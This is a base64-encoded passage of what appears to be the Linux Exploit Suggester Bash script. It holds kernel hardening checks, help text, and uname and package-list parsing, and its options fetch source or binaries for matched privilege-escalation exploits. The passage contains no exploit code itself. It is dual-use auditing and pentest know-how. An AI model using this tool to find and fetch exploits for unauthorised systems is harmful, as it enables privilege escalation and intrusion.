S9temV0LS9sZXMtcmVzL2Jsb2IvbWFzdGVyL2ZlYXR1cmVzL3B0aS5tZApFT0YKKQoKRkVBVFVSRVNbKChuKyspKV09JChjYXQgPDxFT0YKZmVhdHVyZTogR0NDIHN0YWNrIHByb3RlY3RvciBzdXBwb3J0CmF2YWlsYWJsZTogQ09ORklHX0hBVkVfU1RBQ0tQUk9URUNUT1I9eQphbmFseXNpcy11cmw6IGh0dHBzOi8vZ2l0aHViLmNvbS9temV0LS9sZXMtcmVzL2Jsb2IvbWFzdGVyL2ZlYXR1cmVzL3N0YWNrcHJvdGVjdG9yLXJlZ3VsYXIubWQKRU9GCikKCkZFQVRVUkVTWygobisrKSldPSQoY2F0IDw8RU9GCmZlYXR1cmU6IEdDQyBzdGFjayBwcm90ZWN0b3IgU1RST05HIHN1cHBvcnQKYXZhaWxhYmxlOiBDT05GSUdfU1RBQ0tQUk9URUNUT1JfU1RST05HPXksdmVyPj0zLjE0CmFuYWx5c2lzLXVybDogaHR0cHM6Ly9naXRodWIuY29tL216ZXQtL2xlcy1yZXMvYmxvYi9tYXN0ZXIvZmVhdHVyZXMvc3RhY2twcm90ZWN0b3Itc3Ryb25nLm1kCkVPRgopCgpGRUFUVVJFU1soKG4rKykpXT0kKGNhdCA8PEVPRgpmZWF0dXJlOiBMb3cgYWRkcmVzcyBzcGFjZSB0byBwcm90ZWN0IGZyb20gdXNlciBhbGxvY2F0aW9uCmF2YWlsYWJsZTogQ09ORklHX0RFRkFVTFRfTU1BUF9NSU5fQUREUj1bMC05XSsKZW5hYmxlZDogc3lzY3RsOnZtLm1tYXBfbWluX2FkZHIhPTAKYW5hbHlzaXMtdXJsOiBodHRwczovL2dpdGh1Yi5jb20vbXpldC0vbGVzLXJlcy9ibG9iL21hc3Rlci9mZWF0dXJlcy9tbWFwX21pbl9hZGRyLm1kCkVPRgopCgpGRUFUVVJFU1soKG4rKykpXT0kKGNhdCA8PEVPRgpmZWF0dXJlOiBQcmV2ZW50IHVzZXJzIGZyb20gdXNpbmcgcHRyYWNlIHRvIGV4YW1pbmUgdGhlIG1lbW9yeSBhbmQgc3RhdGUgb2YgdGhlaXIgcHJvY2Vzc2VzCmF2YWlsYWJsZTogQ09ORklHX1NFQ1VSSVRZX1lBTUE9eQplbmFibGVkOiBzeXNjdGw6a2VybmVsLnlhbWEucHRyYWNlX3Njb3BlIT0wCmFuYWx5c2lzLXVybDogaHR0cHM6Ly9naXRodWIuY29tL216ZXQtL2xlcy1yZXMvYmxvYi9tYXN0ZXIvZmVhdHVyZXMveWFtYV9wdHJhY2Vfc2NvcGUubWQKRU9GCikKCkZFQVRVUkVTWygobisrKSldPSQoY2F0IDw8RU9GCmZlYXR1cmU6IFJlc3RyaWN0IHVucHJpdmlsZWdlZCBhY2Nlc3MgdG8ga2VybmVsIHN5c2xvZwphdmFpbGFibGU6IENPTkZJR19TRUNVUklUWV9ETUVTR19SRVNUUklDVD15LHZlcj49Mi42LjM3CmVuYWJsZWQ6IHN5c2N0bDprZXJuZWwuZG1lc2dfcmVzdHJpY3QhPTAKYW5hbHlzaXMtdXJsOiBodHRwczovL2dpdGh1Yi5jb20vbXpldC0vbGVzLXJlcy9ibG9iL21hc3Rlci9mZWF0dXJlcy9kbWVzZ19yZXN0cmljdC5tZApFT0YKKQoKRkVBVFVSRVNbKChuKyspKV09JChjYXQgPDxFT0YKZmVhdHVyZTogUmFuZG9taXplIHRoZSBhZGRyZXNzIG9mIHRoZSBrZXJuZWwgaW1hZ2UgKEtBU0xSKQphdmFpbGFibGU6IENPTkZJR19SQU5ET01JWkVfQkFTRT15CmFuYWx5c2lzLXVybDogaHR0cHM6Ly9naXRodWIuY29tL216ZXQtL2xlcy1yZXMvYmxvYi9tYXN0ZXIvZmVhdHVyZXMva2FzbHIubWQKRU9GCikKCkZFQVRVUkVTWygobisrKSldPSQoY2F0IDw8RU9GCmZlYXR1cmU6IEhhcmRlbmVkIHVzZXIgY29weSBzdXBwb3J0CmF2YWlsYWJsZTogQ09ORklHX0hBUkRFTkVEX1VTRVJDT1BZPXkKYW5hbHlzaXMtdXJsOiBodHRwczovL2dpdGh1Yi5jb20vbXpldC0vbGVzLXJlcy9ibG9iL21hc3Rlci9mZWF0dXJlcy9oYXJkZW5lZF91c2VyY29weS5tZApFT0YKKQoKRkVBVFVSRVNbKChuKyspKV09JChjYXQgPDxFT0YKZmVhdHVyZTogTWFrZSBrZXJuZWwgdGV4dCBhbmQgcm9kYXRhIHJlYWQtb25seQphdmFpbGFibGU6IENPTkZJR19TVFJJQ1RfS0VSTkVMX1JXWD15CmFuYWx5c2lzLXVybDogaHR0cHM6Ly9naXRodWIuY29tL216ZXQtL2xlcy1yZXMvYmxvYi9tYXN0ZXIvZmVhdHVyZXMvc3RyaWN0X2tlcm5lbF9yd3gubWQKRU9GCikKCkZFQVRVUkVTWygobisrKSldPSQoY2F0IDw8RU9GCmZlYXR1cmU6IFNldCBsb2FkYWJsZSBrZXJuZWwgbW9kdWxlIGRhdGEgYXMgTlggYW5kIHRleHQgYXMgUk8KYXZhaWxhYmxlOiBDT05GSUdfU1RSSUNUX01PRFVMRV9SV1g9eQphbmFseXNpcy11cmw6IGh0dHBzOi8vZ2l0aHViLmNvbS9temV0LS9sZXMtcmVzL2Jsb2IvbWFzdGVyL2ZlYXR1cmVzL3N0cmljdF9tb2R1bGVfcnd4Lm1kCkVPRgopCgpGRUFUVVJFU1soKG4rKykpXT0kKGNhdCA8PEVPRgpmZWF0dXJlOiBCVUcoKSBjb25kaXRpb25zIHJlcG9ydGluZwphdmFpbGFibGU6IENPTkZJR19CVUc9eQphbmFseXNpcy11cmw6IGh0dHBzOi8vZ2l0aHViLmNvbS9temV0LS9sZXMtcmVzL2Jsb2IvbWFzdGVyL2ZlYXR1cmVzL2J1Zy5tZApFT0YKKQoKRkVBVFVSRVNbKChuKyspKV09JChjYXQgPDxFT0YKZmVhdHVyZTogQWRkaXRpb25hbCAnY3JlZCcgc3RydWN0IGNoZWNrcwphdmFpbGFibGU6IENPTkZJR19ERUJVR19DUkVERU5USUFMUz15CmFuYWx5c2lzLXVybDogaHR0cHM6Ly9naXRodWIuY29tL216ZXQtL2xlcy1yZXMvYmxvYi9tYXN0ZXIvZmVhdHVyZXMvZGVidWdfY3JlZGVudGlhbHMubWQKRU9GCikKCkZFQVRVUkVTWygobisrKSldPSQoY2F0IDw8RU9GCmZlYXR1cmU6IFNhbml0eSBjaGVja3MgZm9yIG5vdGlmaWVyIGNhbGwgY2hhaW5zCmF2YWlsYWJsZTogQ09ORklHX0RFQlVHX05PVElGSUVSUz15CmFuYWx5c2lzLXVybDogaHR0cHM6Ly9naXRodWIuY29tL216ZXQtL2xlcy1yZXMvYmxvYi9tYXN0ZXIvZmVhdHVyZXMvZGVidWdfbm90aWZpZXJzLm1kCkVPRgopCgpGRUFUVVJFU1soKG4rKykpXT0kKGNhdCA8PEVPRgpmZWF0dXJlOiBFeHRlbmRlZCBjaGVja3MgZm9yIGxpbmtlZC1saXN0cyB3YWxraW5nCmF2YWlsYWJsZTogQ09ORklHX0RFQlVHX0xJU1Q9eQphbmFseXNpcy11cmw6IGh0dHBzOi8vZ2l0aHViLmNvbS9temV0LS9sZXMtcmVzL2Jsb2IvbWFzdGVyL2ZlYXR1cmVzL2RlYnVnX2xpc3QubWQKRU9GCikKCkZFQVRVUkVTWygobisrKSldPSQoY2F0IDw8RU9GCmZlYXR1cmU6IENoZWNrcyBvbiBzY2F0dGVyLWdhdGhlciB0YWJsZXMKYXZhaWxhYmxlOiBDT05GSUdfREVCVUdfU0c9eQphbmFseXNpcy11cmw6IGh0dHBzOi8vZ2l0aHViLmNvbS9temV0LS9sZXMtcmVzL2Jsb2IvbWFzdGVyL2ZlYXR1cmVzL2RlYnVnX3NnLm1kCkVPRgopCgpGRUFUVVJFU1soKG4rKykpXT0kKGNhdCA8PEVPRgpmZWF0dXJlOiBDaGVja3MgZm9yIGRhdGEgc3RydWN0dXJlIGNvcnJ1cHRpb25zCmF2YWlsYWJsZTogQ09ORklHX0JVR19PTl9EQVRBX0NPUlJVUFRJT049eQphbmFseXNpcy11cmw6IGh0dHBzOi8vZ2l0aHViLmNvbS9temV0LS9sZXMtcmVzL2Jsb2IvbWFzdGVyL2ZlYXR1cmVzL2J1Z19vbl9kYXRhX2NvcnJ1cHRpb24ubWQKRU9GCikKCkZFQVRVUkVTWygobisrKSldPSQoY2F0IDw8RU9GCmZlYXR1cmU6IENoZWNrcyBmb3IgYSBzdGFjayBvdmVycnVuIG9uIGNhbGxzIHRvICdzY2hlZHVsZScKYXZhaWxhYmxlOiBDT05GSUdfU0NIRURfU1RBQ0tfRU5EX0NIRUNLPXkKYW5hbHlzaXMtdXJsOiBodHRwczovL2dpdGh1Yi5jb20vbXpldC0vbGVzLXJlcy9ibG9iL21hc3Rlci9mZWF0dXJlcy9zY2hlZF9zdGFja19lbmRfY2hlY2subWQKRU9GCikKCkZFQVRVUkVTWygobisrKSldPSQoY2F0IDw8RU9GCmZlYXR1cmU6IEZyZWVsaXN0IG9yZGVyIHJhbmRvbWl6YXRpb24gb24gbmV3IHBhZ2VzIGNyZWF0aW9uCmF2YWlsYWJsZTogQ09ORklHX1NMQUJfRlJFRUxJU1RfUkFORE9NPXkKYW5hbHlzaXMtdXJsOiBodHRwczovL2dpdGh1Yi5jb20vbXpldC0vbGVzLXJlcy9ibG9iL21hc3Rlci9mZWF0dXJlcy9zbGFiX2ZyZWVsaXN0X3JhbmRvbS5tZApFT0YKKQoKRkVBVFVSRVNbKChuKyspKV09JChjYXQgPDxFT0YKZmVhdHVyZTogRnJlZWxpc3QgbWV0YWRhdGEgaGFyZGVuaW5nCmF2YWlsYWJsZTogQ09ORklHX1NMQUJfRlJFRUxJU1RfSEFSREVORUQ9eQphbmFseXNpcy11cmw6IGh0dHBzOi8vZ2l0aHViLmNvbS9temV0LS9sZXMtcmVzL2Jsb2IvbWFzdGVyL2ZlYXR1cmVzL3NsYWJfZnJlZWxpc3RfaGFyZGVuZWQubWQKRU9GCikKCkZFQVRVUkVTWygobisrKSldPSQoY2F0IDw8RU9GCmZlYXR1cmU6IEFsbG9jYXRvciB2YWxpZGF0aW9uIGNoZWNraW5nCmF2YWlsYWJsZTogQ09ORklHX1NMVUJfREVCVUdfT049eSxjbWQ6ISBncmVwICdzbHViX2RlYnVnPS0nIC9wcm9jL2NtZGxpbmUKYW5hbHlzaXMtdXJsOiBodHRwczovL2dpdGh1Yi5jb20vbXpldC0vbGVzLXJlcy9ibG9iL21hc3Rlci9mZWF0dXJlcy9zbHViX2RlYnVnLm1kCkVPRgopCgpGRUFUVVJFU1soKG4rKykpXT0kKGNhdCA8PEVPRgpmZWF0dXJlOiBWaXJ0dWFsbHktbWFwcGVkIGtlcm5lbCBzdGFja3Mgd2l0aCBndWFyZCBwYWdlcwphdmFpbGFibGU6IENPTkZJR19WTUFQX1NUQUNLPXkKYW5hbHlzaXMtdXJsOiBodHRwczovL2dpdGh1Yi5jb20vbXpldC0vbGVzLXJlcy9ibG9iL21hc3Rlci9mZWF0dXJlcy92bWFwX3N0YWNrLm1kCkVPRgopCgpGRUFUVVJFU1soKG4rKykpXT0kKGNhdCA8PEVPRgpmZWF0dXJlOiBQYWdlcyBwb2lzb25pbmcgYWZ0ZXIgZnJlZV9wYWdlcygpIGNhbGwKYXZhaWxhYmxlOiBDT05GSUdfUEFHRV9QT0lTT05JTkc9eQplbmFibGVkOiBjbWQ6IGdyZXAgJ3BhZ2VfcG9pc29uPTEnIC9wcm9jL2NtZGxpbmUKYW5hbHlzaXMtdXJsOiBodHRwczovL2dpdGh1Yi5jb20vbXpldC0vbGVzLXJlcy9ibG9iL21hc3Rlci9mZWF0dXJlcy9wYWdlX3BvaXNvbmluZy5tZApFT0YKKQoKRkVBVFVSRVNbKChuKyspKV09JChjYXQgPDxFT0YKZmVhdHVyZTogVXNpbmcgJ3JlZmNvdW50X3QnIGluc3RlYWQgb2YgJ2F0b21pY190JwphdmFpbGFibGU6IENPTkZJR19SRUZDT1VOVF9GVUxMPXkKYW5hbHlzaXMtdXJsOiBodHRwczovL2dpdGh1Yi5jb20vbXpldC0vbGVzLXJlcy9ibG9iL21hc3Rlci9mZWF0dXJlcy9yZWZjb3VudF9mdWxsLm1kCkVPRgopCgpGRUFUVVJFU1soKG4rKykpXT0kKGNhdCA8PEVPRgpmZWF0dXJlOiBIYXJkZW5pbmcgY29tbW9uIHN0ci9tZW0gZnVuY3Rpb25zIGFnYWluc3QgYnVmZmVyIG92ZXJmbG93cwphdmFpbGFibGU6IENPTkZJR19GT1JUSUZZX1NPVVJDRT15CmFuYWx5c2lzLXVybDogaHR0cHM6Ly9naXRodWIuY29tL216ZXQtL2xlcy1yZXMvYmxvYi9tYXN0ZXIvZmVhdHVyZXMvZm9ydGlmeV9zb3VyY2UubWQKRU9GCikKCkZFQVRVUkVTWygobisrKSldPSQoY2F0IDw8RU9GCmZlYXR1cmU6IFJlc3RyaWN0IC9kZXYvbWVtIGFjY2VzcwphdmFpbGFibGU6IENPTkZJR19TVFJJQ1RfREVWTUVNPXkKYW5hbHlzaXMtdXJsOiBodHRwczovL2dpdGh1Yi5jb20vbXpldC0vbGVzLXJlcy9ibG9iL21hc3Rlci9mZWF0dXJlcy9zdHJpY3RfZGV2bWVtLm1kCkVPRgopCgpGRUFUVVJFU1soKG4rKykpXT0kKGNhdCA8PEVPRgpmZWF0dXJlOiBSZXN0cmljdCBJL08gYWNjZXNzIHRvIC9kZXYvbWVtCmF2YWlsYWJsZTogQ09ORklHX0lPX1NUUklDVF9ERVZNRU09eQphbmFseXNpcy11cmw6IGh0dHBzOi8vZ2l0aHViLmNvbS9temV0LS9sZXMtcmVzL2Jsb2IvbWFzdGVyL2ZlYXR1cmVzL2lvX3N0cmljdF9kZXZtZW0ubWQKRU9GCikKCkZFQVRVUkVTWygobisrKSldPSQoY2F0IDw8RU9GCnNlY3Rpb246IEhhcmR3YXJlLWJhc2VkIHByb3RlY3Rpb24gZmVhdHVyZXM6CkVPRgopCgpGRUFUVVJFU1soKG4rKykpXT0kKGNhdCA8PEVPRgpmZWF0dXJlOiBTdXBlcnZpc29yIE1vZGUgRXhlY3V0aW9uIFByb3RlY3Rpb24gKFNNRVApIHN1cHBvcnQKYXZhaWxhYmxlOiB2ZXI+PTMuMAplbmFibGVkOiBjbWQ6Z3JlcCAtcWkgc21lcCAvcHJvYy9jcHVpbmZvCmFuYWx5c2lzLXVybDogaHR0cHM6Ly9naXRodWIuY29tL216ZXQtL2xlcy1yZXMvYmxvYi9tYXN0ZXIvZmVhdHVyZXMvc21lcC5tZApFT0YKKQoKRkVBVFVSRVNbKChuKyspKV09JChjYXQgPDxFT0YKZmVhdHVyZTogU3VwZXJ2aXNvciBNb2RlIEFjY2VzcyBQcmV2ZW50aW9uIChTTUFQKSBzdXBwb3J0CmF2YWlsYWJsZTogdmVyPj0zLjcKZW5hYmxlZDogY21kOmdyZXAgLXFpIHNtYXAgL3Byb2MvY3B1aW5mbwphbmFseXNpcy11cmw6IGh0dHBzOi8vZ2l0aHViLmNvbS9temV0LS9sZXMtcmVzL2Jsb2IvbWFzdGVyL2ZlYXR1cmVzL3NtYXAubWQKRU9GCikKCkZFQVRVUkVTWygobisrKSldPSQoY2F0IDw8RU9GCnNlY3Rpb246IDNyZCBwYXJ0eSBrZXJuZWwgcHJvdGVjdGlvbiBtZWNoYW5pc21zOgpFT0YKKQoKRkVBVFVSRVNbKChuKyspKV09JChjYXQgPDxFT0YKZmVhdHVyZTogR3JzZWN1cml0eQphdmFpbGFibGU6IENPTkZJR19HUktFUk5TRUM9eQplbmFibGVkOiBjbWQ6dGVzdCAtYyAvZGV2L2dyc2VjCkVPRgopCgpGRUFUVVJFU1soKG4rKykpXT0kKGNhdCA8PEVPRgpmZWF0dXJlOiBQYVgKYXZhaWxhYmxlOiBDT05GSUdfUEFYPXkKZW5hYmxlZDogY21kOnRlc3QgLXggL3NiaW4vcGF4Y3RsCkVPRgopCgpGRUFUVVJFU1soKG4rKykpXT0kKGNhdCA8PEVPRgpmZWF0dXJlOiBMaW51eCBLZXJuZWwgUnVudGltZSBHdWFyZCAoTEtSRykga2VybmVsIG1vZHVsZQplbmFibGVkOiBjbWQ6dGVzdCAtZCAvcHJvYy9zeXMvbGtyZwphbmFseXNpcy11cmw6IGh0dHBzOi8vZ2l0aHViLmNvbS9temV0LS9sZXMtcmVzL2Jsb2IvbWFzdGVyL2ZlYXR1cmVzL2xrcmcubWQKRU9GCikKCkZFQVRVUkVTWygobisrKSldPSQoY2F0IDw8RU9GCnNlY3Rpb246IEF0dGFjayBTdXJmYWNlOgpFT0YKKQoKRkVBVFVSRVNbKChuKyspKV09JChjYXQgPDxFT0YKZmVhdHVyZTogVXNlciBuYW1lc3BhY2VzIGZvciB1bnByaXZpbGVnZWQgYWNjb3VudHMKYXZhaWxhYmxlOiBDT05GSUdfVVNFUl9OUz15CmVuYWJsZWQ6IHN5c2N0bDprZXJuZWwudW5wcml2aWxlZ2VkX3VzZXJuc19jbG9uZT09MQphbmFseXNpcy11cmw6IGh0dHBzOi8vZ2l0aHViLmNvbS9temV0LS9sZXMtcmVzL2Jsb2IvbWFzdGVyL2ZlYXR1cmVzL3VzZXJfbnMubWQKRU9GCikKCkZFQVRVUkVTWygobisrKSldPSQoY2F0IDw8RU9GCmZlYXR1cmU6IFVucHJpdmlsZWdlZCBhY2Nlc3MgdG8gYnBmKCkgc3lzdGVtIGNhbGwKYXZhaWxhYmxlOiBDT05GSUdfQlBGX1NZU0NBTEw9eQplbmFibGVkOiBzeXNjdGw6a2VybmVsLnVucHJpdmlsZWdlZF9icGZfZGlzYWJsZWQhPTEKYW5hbHlzaXMtdXJsOiBodHRwczovL2dpdGh1Yi5jb20vbXpldC0vbGVzLXJlcy9ibG9iL21hc3Rlci9mZWF0dXJlcy9icGZfc3lzY2FsbC5tZApFT0YKKQoKRkVBVFVSRVNbKChuKyspKV09JChjYXQgPDxFT0YKZmVhdHVyZTogU3lzY2FsbHMgZmlsdGVyaW5nCmF2YWlsYWJsZTogQ09ORklHX1NFQ0NPTVA9eQplbmFibGVkOiBjbWQ6Z3JlcCAtaXcgU2VjY29tcCAvcHJvYy9zZWxmL3N0YXR1cyB8IGF3ayAne3ByaW50IFwkMn0nCmFuYWx5c2lzLXVybDogaHR0cHM6Ly9naXRodWIuY29tL216ZXQtL2xlcy1yZXMvYmxvYi9tYXN0ZXIvZmVhdHVyZXMvYnBmX3N5c2NhbGwubWQKRU9GCikKCkZFQVRVUkVTWygobisrKSldPSQoY2F0IDw8RU9GCmZlYXR1cmU6IFN1cHBvcnQgZm9yIC9kZXYvbWVtIGFjY2VzcwphdmFpbGFibGU6IENPTkZJR19ERVZNRU09eQphbmFseXNpcy11cmw6IGh0dHBzOi8vZ2l0aHViLmNvbS9temV0LS9sZXMtcmVzL2Jsb2IvbWFzdGVyL2ZlYXR1cmVzL2Rldm1lbS5tZApFT0YKKQoKRkVBVFVSRVNbKChuKyspKV09JChjYXQgPDxFT0YKZmVhdHVyZTogU3VwcG9ydCBmb3IgL2Rldi9rbWVtIGFjY2VzcwphdmFpbGFibGU6IENPTkZJR19ERVZLTUVNPXkKYW5hbHlzaXMtdXJsOiBodHRwczovL2dpdGh1Yi5jb20vbXpldC0vbGVzLXJlcy9ibG9iL21hc3Rlci9mZWF0dXJlcy9kZXZrbWVtLm1kCkVPRgopCgoKdmVyc2lvbigpIHsKICAgIGVjaG8gImxpbnV4LWV4cGxvaXQtc3VnZ2VzdGVyICIkVkVSU0lPTiIsIG16ZXQsIGh0dHBzOi8vei1sYWJzLmV1LCBNYXJjaCAyMDE5Igp9Cgp1c2FnZSgpIHsKICAgIGVjaG8gIkxFUyB2ZXIuICRWRVJTSU9OIChodHRwczovL2dpdGh1Yi5jb20vbXpldC0vbGludXgtZXhwbG9pdC1zdWdnZXN0ZXIpIGJ5IEBfbXpldF8iCiAgICBlY2hvCiAgICBlY2hvICJVc2FnZTogbGludXgtZXhwbG9pdC1zdWdnZXN0ZXIuc2ggW09QVElPTlNdIgogICAgZWNobwogICAgZWNobyAiIC1WIHwgLS12ZXJzaW9uICAgICAgICAgICAgICAgLSBwcmludCB2ZXJzaW9uIG9mIHRoaXMgc2NyaXB0IgogICAgZWNobyAiIC1oIHwgLS1oZWxwICAgICAgICAgICAgICAgICAgLSBwcmludCB0aGlzIGhlbHAiCiAgICBlY2hvICIgLWsgfCAtLWtlcm5lbCA8dmVyc2lvbj4gICAgICAtIHByb3ZpZGUga2VybmVsIHZlcnNpb24iCiAgICBlY2hvICIgLXUgfCAtLXVuYW1lIDxzdHJpbmc+ICAgICAgICAtIHByb3ZpZGUgJ3VuYW1lIC1hJyBzdHJpbmciCiAgICBlY2hvICIgLS1za2lwLW1vcmUtY2hlY2tzICAgICAgICAgICAtIGRvIG5vdCBwZXJmb3JtIGFkZGl0aW9uYWwgY2hlY2tzIChrZXJuZWwgY29uZmlnLCBzeXNjdGwpIHRvIGRldGVybWluZSBpZiBleHBsb2l0IGlzIGFwcGxpY2FibGUiCiAgICBlY2hvICIgLS1za2lwLXBrZy12ZXJzaW9ucyAgICAgICAgICAtIHNraXAgY2hlY2tpbmcgZm9yIGV4YWN0IHVzZXJzcGFjZSBwYWNrYWdlIHZlcnNpb24gKGhlbHBzIHRvIGF2b2lkIGZhbHNlIG5lZ2F0aXZlcykiCiAgICBlY2hvICIgLXAgfCAtLXBrZ2xpc3QtZmlsZSA8ZmlsZT4gICAtIHByb3ZpZGUgZmlsZSB3aXRoICdkcGtnIC1sJyBvciAncnBtIC1xYScgY29tbWFuZCBvdXRwdXQiCiAgICBlY2hvICIgLS1jdmVsaXN0LWZpbGUgPGZpbGU+ICAgICAgICAtIHByb3ZpZGUgZmlsZSB3aXRoIExpbnV4IGtlcm5lbCBDVkVzIGxpc3QiCiAgICBlY2hvICIgLS1jaGVja3NlYyAgICAgICAgICAgICAgICAgICAtIGxpc3Qgc2VjdXJpdHkgcmVsYXRlZCBmZWF0dXJlcyBmb3IgeW91ciBIVy9rZXJuZWwiCiAgICBlY2hvICIgLXMgfCAtLWZldGNoLXNvdXJjZXMgICAgICAgICAtIGF1dG9tYXRpY2FsbHkgZG93bmxvYWRzIHNvdXJjZSBmb3IgbWF0Y2hlZCBleHBsb2l0IgogICAgZWNobyAiIC1iIHwgLS1mZXRjaC1iaW5hcmllcyAgICAgICAgLSBhdXRvbWF0aWNhbGx5IGRvd25sb2FkcyBiaW5hcnkgZm9yIG1hdGNoZWQgZXhwbG9pdCBpZiBhdmFpbGFibGUiCiAgICBlY2hvICIgLWYgfCAtLWZ1bGwgICAgICAgICAgICAgICAgICAtIHNob3cgZnVsbCBpbmZvIGFib3V0IG1hdGNoZWQgZXhwbG9pdCIKICAgIGVjaG8gIiAtZyB8IC0tc2hvcnQgICAgICAgICAgICAgICAgIC0gc2hvdyBzaG9ydGVuIGluZm8gYWJvdXQgbWF0Y2hlZCBleHBsb2l0IgogICAgZWNobyAiIC0ta2VybmVsc3BhY2Utb25seSAgICAgICAgICAgLSBzaG93IG9ubHkga2VybmVsIHZ1bG5lcmFiaWxpdGllcyIKICAgIGVjaG8gIiAtLXVzZXJzcGFjZS1vbmx5ICAgICAgICAgICAgIC0gc2hvdyBvbmx5IHVzZXJzcGFjZSB2dWxuZXJhYmlsaXRpZXMiCiAgICBlY2hvICIgLWQgfCAtLXNob3ctZG9zICAgICAgICAgICAgICAtIHNob3cgYWxzbyBEb1NlcyBpbiByZXN1bHRzIgp9CgpleGl0V2l0aEVyck1zZygpIHsKICAgIGVjaG8gIiQxIiAxPiYyCiAgICBleGl0IDEKfQoKIyBleHRyYWN0cyBhbGwgaW5mb3JtYXRpb24gZnJvbSBvdXRwdXQgb2YgJ3VuYW1lIC1hJyBjb21tYW5kCnBhcnNlVW5hbWUoKSB7CiAgICBsb2NhbCB1bmFtZT0kMQoKICAgIEtFUk5FTD0kKGVjaG8gIiR1bmFtZSIgfCBhd2sgJ3twcmludCAkM30nIHwgY3V0IC1kICctJyAtZiAxKQogICAgS0VSTkVMX0FMTD0kKGVjaG8gIiR1bmFtZSIgfCBhd2sgJ3twcmludCAkM30nKQogICAgQVJDSD0kKGVjaG8gIiR1bmFtZSIgfCBhd2sgJ3twcmludCAkKE5GLTEpfScpCgogICAgT1M9IiIKICAgIGVjaG8gIiR1bmFtZSIgfCBncmVwIC1xIC1pICdkZWInICYmIE9TPSJkZWJpYW4iCiAgICBlY2hvICIkdW5hbWUiIHwgZ3JlcCAtcSAtaSAndWJ1bnR1JyAmJiBPUz0idWJ1bnR1IgogICAgZWNobyAiJHVuYW1lIiB8IGdyZXAgLXEgLWkgJ1wtQVJDSCcgJiYgT1M9ImFyY2giCiAgICBlY2hvICIkdW5hbWUiIHwgZ3JlcCAtcSAtaSAnXC1kZWVwaW4nICYmIE9TPSJkZWVwaW4iCiAgICBlY2hvICIkdW5hbWUiIHwgZ3JlcCAtcSAtaSAnXC1NQU5KQVJPJyAmJiBPUz0ibWFuamFybyIKICAgIGVjaG8gIiR1bmFtZSIgfCBncmVwIC1xIC1pICdcLmZjJyAmJiBPUz0iZmVkb3JhIgogICAgZWNobyAiJHVuYW1lIiB8IGdyZXAgLXEgLWkgJ1wuZWwnICYmIE9TPSJSSEVMIgogICAgZWNobyAiJHVuYW1lIiB8IGdyZXAgLXEgLWkgJ1wubWdhJyAmJiBPUz0ibWFnZWlhIgoKICAgICMgJ3VuYW1lIC1hJyBvdXRwdXQgZG9lc24ndCBjb250YWluIGRpc3RyaWJ1dGlvbiBudW1iZXIgKGF0IGxlYXN0IG5vdCBpbiBjYXNlIG9mIGFsbCBkaXN0cm9zKQp9CgpnZXRQa2dMaXN0KCkgewogICAgbG9jYWwgZGlzdHJvPSQxCiAgICBsb2NhbCBwa2dsaXN0X2ZpbGU9JDIKICAgIAogICAgIyB0YWtlIHBhY2thZ2UgbGlzdGluZyBmcm9tIHByb3ZpZGVkIGZpbGUgJiBkZXRlY3QgaWYgaXQncyAncnBtIC1xYScgbGlzdGluZyBvciAnZHBrZyAtbCcgb3IgJ3BhY21hbiAtUScgbGlzdGluZyBvZiBub3QgcmVjb2duaXplZCBsaXN0aW5nCiAgICBpZiBbICIkb3B0X3BrZ2xpc3RfZmlsZSIgPSAidHJ1ZSIgLWEgLWUgIiRwa2dsaXN0X2ZpbGUiIF07IHRoZW4KCiAgICAgICAgIyB1YnVudHUvZGViaWFuIHBhY2thZ2UgbGlzdGluZyBmaWxlCiAgICAgICAgaWYgWyAkKGhlYWQgLTEgIiRwa2dsaXN0X2ZpbGUiIHwgZ3JlcCAnRGVzaXJlZD1Vbmtub3duL0luc3RhbGwvUmVtb3ZlL1B1cmdlL0hvbGQnKSBdOyB0aGVuCiAgICAgICAgICAgIFBLR19MSVNUPSQoY2F0ICIkcGtnbGlzdF9maWxlIiB8IGF3ayAne3ByaW50ICQyIi0iJDN9JyB8IHNlZCAncy86YW1kNjQvL2cnKQoKICAgICAgICAgICAgT1M9ImRlYmlhbiIKICAgICAgICAgICAgWyAiJChncmVwIHVidW50dSAiJHBrZ2xpc3RfZmlsZSIpIiBdICYmIE9TPSJ1YnVudHUiCiAgICAgICAgIyByZWRoYXQgcGFja2FnZSBsaXN0aW5nIGZpbGUKICAgICAgICBlbGlmIFsgIiQoZ3JlcCAtRSAnXC5lbFsxLTldK1tcLl9dJyAiJHBrZ2xpc3RfZmlsZSIgfCBoZWFkIC0xKSIgXTsgdGhlbgogICAgICAgICAgICBQS0dfTElTVD0kKGNhdCAiJHBrZ2xpc3RfZmlsZSIpCiAgICAgICAgICAgIE9TPSJSSEVMIgogICAgICAgICMgZmVkb3JhIHBhY2thZ2UgbGlzdGluZyBmaWxlCiAgICAgICAgZWxpZiBbICIkKGdyZXAgLUUgJ1wuZmNbMS05XSsnaSAiJHBrZ2xpc3RfZmlsZSIgfCBoZWFkIC0xKSIgXTsgdGhlbgogICAgICAgICAgICBQS0dfTElTVD0kKGNhdCAiJHBrZ2xpc3RfZmlsZSIpCiAgICAgICAgICAgIE9TPSJmZWRvcmEiCiAgICAgICAgIyBtYWdlaWEgcGFja2FnZSBsaXN0aW5nIGZpbGUKICAgICAgICBlbGlmIFsgIiQoZ3JlcCAtRSAnXC5tZ2FbMS05XSsnICIkcGtnbGlzdF9maWxlIiB8IGhlYWQgLTEpIiBdOyB0aGVuCiAgICAgICAgICAgIFBLR19MSVNUPSQoY2F0ICIkcGtnbGlzdF9maWxlIikKICAgICAgICAgICAgT1M9Im1hZ2VpYSIKICAgICAgICAjIHBhY21hbiBwYWNrYWdlIGxpc3RpbmcgZmlsZQogICAgICAgIGVsaWYgWyAiJChncmVwIC1FICdcIFswLTldK1wuJyAiJHBrZ2xpc3RfZmlsZSIgfCBoZWFkIC0xKSIgXTsgdGhlbgogICAgICAgICAgICBQS0dfTElTVD0kKGNhdCAiJHBrZ2xpc3RfZmlsZSIgfCBhd2sgJ3twcmludCAkMSItIiQyfScpCiAgICAgICAgICAgIE9TPSJhcmNoIgogICAgICAgICMgZmlsZSBub3QgcmVjb2duaXplZCAtIHNraXBwaW5nCiAgICAgICAgZWxzZQogICAgICAgICAgICBQS0dfTElTVD0iIgogICAgICAgIGZpCgogICAgZWxpZiBbICIkZGlzdHJvIiA9ICJkZWJpYW4iIC1vICIkZGlzdHJvIiA9ICJ1YnVudHUiIC1vICIkZGlzdHJvIiA9ICJkZWVwaW4iIF07IHRoZW4KICAgICAgICBQS0dfTElTVD0kKGRwa2cgLWwgfCBhd2sgJ3twcmludCAkMiItIiQzfScgfCBzZWQgJ3MvOmFtZDY0Ly9nJykKICAgI